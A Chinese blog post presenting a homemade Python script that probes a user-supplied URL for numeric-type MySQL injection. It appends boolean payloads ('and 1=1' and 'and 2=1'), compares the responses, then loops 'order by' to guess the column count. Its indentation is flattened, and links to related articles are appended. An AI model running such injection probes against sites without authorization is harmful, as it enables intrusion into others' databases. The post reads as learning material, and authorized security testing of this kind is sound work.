前言:

总是想写一个sql注入脚本,但是之前的那些都不行。

这次做好了准备,然后嘿嘿嘿。

准备:

sql注入的基础知识

熟悉怎么判断

正文:

思路概念图:

这里我没有限制用户输入,不限制的话可能会 @&#@*#&@* = =

代码:

import requests
from bs4 import BeautifulSoup
import time
import re
import sys
def user():
wailtfor=input('请输入你要进行sql注入测试的url:')
print('------开启第一重验证------')
url="{}".format(wailtfor)
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
request=requests.get(url=url,headers=headers,timeout=6)
if request.status_code != 200:
print('[-]抱歉该url十分的不稳定,退出程序中......')
time.sleep(1)
sys.exit()
else:
print('[+]第一重验证已经完成,目标是稳定的')
journal=open('journal.txt','w',encoding='utf-8')
journal.write('{}是稳定的\n'.format(url))
journal.write('下一步进行判断是否存在注入')
journal.close() print('------开启第二重测试------') def ceshi():
pay1 = '%20and%201=1'
pay2 = '%20and%202=1'
Testinjection1 = request.url + pay1
Testinjection2=request.url+pay2
print('-------尝试数字型注入------')
print(Testinjection1)
print(Testinjection2)
Testg=requests.get(Testinjection1,headers=headers)
print(Testg.headers)
Testg2=requests.get(Testinjection2,headers=headers)
print(Testg2.headers)
if Testg.text != Testg2.text:
print('[+]数字型注入成功,用到的payload:{},{}'.format(pay1, pay2))
journal2 = open('journal.txt', 'a')
journal2.write('数字型注入成功,用到的payload:{},{}'.format(pay1, pay2))
journal2.close()
print('------开始猜字段数------')
elif Testg.headers != Testg2.headers:
print('[+]数字型注入成功,用到的payload:{},{}'.format(pay1,pay2),'可能存在注入点')
journal2=open('journal.txt','a')
journal2.write('数字型注入成功,用到的payload:{},{}'.format(pay1,pay2))
journal2.close()
print('------开始猜字段数------')
else:
print('[-]数字型注入失败')
print('[!]尝试字符型注入')
sys.exit()
a='ooo'
for s in range(1,100):
if a=='xxx':break
orpay=url+'%20order%20by%20{}'.format(s)
res=requests.get(orpay,headers=headers)
ewe=res.content
lk=re.finditer('mysql_fetch_array()',str(ewe))
for p in lk:
print(str(p))
g='''<_sre.SRE_Match object; span=(232, 249), match='mysql_fetch_array'>'''
if str(p) == g:
print('字段数payload:', res.url)
dw = int(res.url[-1:])-1
print(type(dw))
print('字段数长度为:', dw)
a='xxx'
else:
print('字段数payload:',res.url)
dw=int(res.url[-1:])-1
print('字段数长度为:',dw)
a='xxx' ceshi() user()

  测试结果如下:

代码还有很多不足,诺各位大佬有什么好的意见请多多留言。 = =

最后送上一首歌:

python打造一个Mysql数字类型注入脚本(1)的更多相关文章

  1. python打造一个分析网站SQL注入的脚本

    前言: 昨天晚上其实就已经写完代码.只不过向FB投稿了,打算延迟一晚上在写博客 所有才到今天早上写.好了,接下来进入正题. 思路: 1.从网站源码中爬取那些类适于:http://xxx.com/xx. ...

  2. MySQL数字类型中的三种常用种类

    数字类型 MySQL数字类型按照我的分类方法分为三类:整数类.小数类和数字类. MySQL数字类型之一我所谓的“数字类” 就是指 DECIMAL 和 NUMERIC,它们是同一种类型.它严格的说不是一 ...

  3. phantomjs + python 打造一个微信机器人

    phantomjs + python 打造一个微信机器人 1.前奏   媳妇公司不能上网,但经常需要在公众号上找一些文章做一些参考,需要的时候就把文章链接分享给我,然后我在浏览器打开网页,一点点复制过 ...

  4. 点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本

    前言: 放假了,上个星期刚刚学习完点击劫持漏洞.没来的及写笔记,今天放学总结了一下 并写了一个检测点击劫持的脚本.点击劫持脚本说一下哈.= =原本是打算把网站源码 中的js也爬出来将一些防御的代码匹配 ...

  5. 《Python核心编程》数字类型

    1.数字类型简单介绍 Python中数字类型包含:整型.长整型.布尔型.双精度浮点型.十进制浮点型.复数.这些数字类型都是不可变类型.也就是说,改变了数字的值会生成新的对象. 在Python中删除数字 ...

  6. MySQL数字类型学习笔记

    数字类型 最近在看<MySQL技术内幕:SQL编程>并做了笔记,所以本博客是一篇笔记类型博客,分享出来方便自己复习,也可以帮助他人 整型 类型 占用空间 最小值(SIGNED) 最大值(S ...

  7. MySQL数字类型int与tinyint、float与decimal如何选择

    最近在准备给开发做一个mysql数据库开发规范方面培训,一步一步来,结合在生产环境发现的数据库方面的问题,从几个常用的数据类型说起. int.tinyint与bigint 它们都是(精确)整型数据类型 ...

  8. python 打造一个sql注入脚本 (一)

    0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...

  9. python基本数据类型之数字类型和其相关运算

    数字(number) Python3 支持 int.float.bool.complex(复数). 在Python 3里,只有一种整数类型 int,表示为长整型,没有 python2 中的 Long. ...

随机推荐

  1. JVM GC算法

    在判断哪些内存需要回收和什么时候回收用到GC 算法,本文主要对GC 算法进行讲解. JVM垃圾判定算法 常见的JVM垃圾判定算法包括:引用技术算法.可达性分析算法. 引用技术算法(Reference ...

  2. lua循环,减少不必要的循环

    lua中for循环的理解 for i=1, 10 do i = i+3 cclog("i=======%d",i) end 输出:4,5,6,7,8,9,10,11,12,13 相 ...

  3. Python中协程的实现

    通过关键字yield,可以从生成器中产生值,并返回.我们可以将生成器作为一个生产者来使用. 在协程中,通过使用关键字yield,还可以让具有yield的程序接收值.此时函数作为消费者,消费我们传入(s ...

  4. ssm中iReport报表使用json数据源过程体会

    前言:做这个一定要有耐心,因为报表本就是数据杂糅到规整的过程,这篇心得会细讲每一步操作,如果只想着一眼到位,建议close tab 在公司中遇到项目,大概是一个这样的需求,有一个列表和一个标题,需要把 ...

  5. Software Engineering-HW8 个人总结

    Software Engineering-HW8 个人总结 2017282110264 李世钰 一.请参考第一次作业,当初你对课程的承诺和期望都兑现了吗? 大致实现了.经过了最后的团队项目,基本了解一 ...

  6. 201621123050 《Java程序设计》第4周学习总结

    1. 本周学习总结 1.1 写出你认为本周学习中比较重要的知识点关键词 继承.抽象.多态 1.2 尝试使用思维导图将这些关键词组织起来.注:思维导图一般不需要出现过多的字. 1.3 可选:使用常规方法 ...

  7. 团队作业7——Beta版本冲刺计划及安排

    上一个阶段的总结: 在Alpha阶段,我们小组已近完成了大部分的功能要求,小组的每一个成员都发挥了自己的用处.经过了这么久的磨合,小组的成员之间越来越默契,相信在接下来的合作中,我们的开发速度会越来越 ...

  8. 200行Python代码实现2048

    200行Python代码实现2048 一.实验说明 1. 环境登录 无需密码自动登录,系统用户名shiyanlou 2. 环境介绍 本实验环境采用带桌面的Ubuntu Linux环境,实验中会用到桌面 ...

  9. Linux 下的权限改变与目录配置

    Linux 下的权限改变与目录配置 ./代表本目录的意思. (1):用户与用户组, 1:文件所有者,文件被某一用户所有 2:用户组:    对文件给与一个或者多个用户权限配置 3:其它人: (2):l ...

  10. Faster R-CNN 的 RPN 是啥子?

     Faster R-CNN,由两个模块组成: 第一个模块是深度全卷积网络 RPN,用于 region proposal; 第二个模块是Fast R-CNN检测器,它使用了RPN产生的region p ...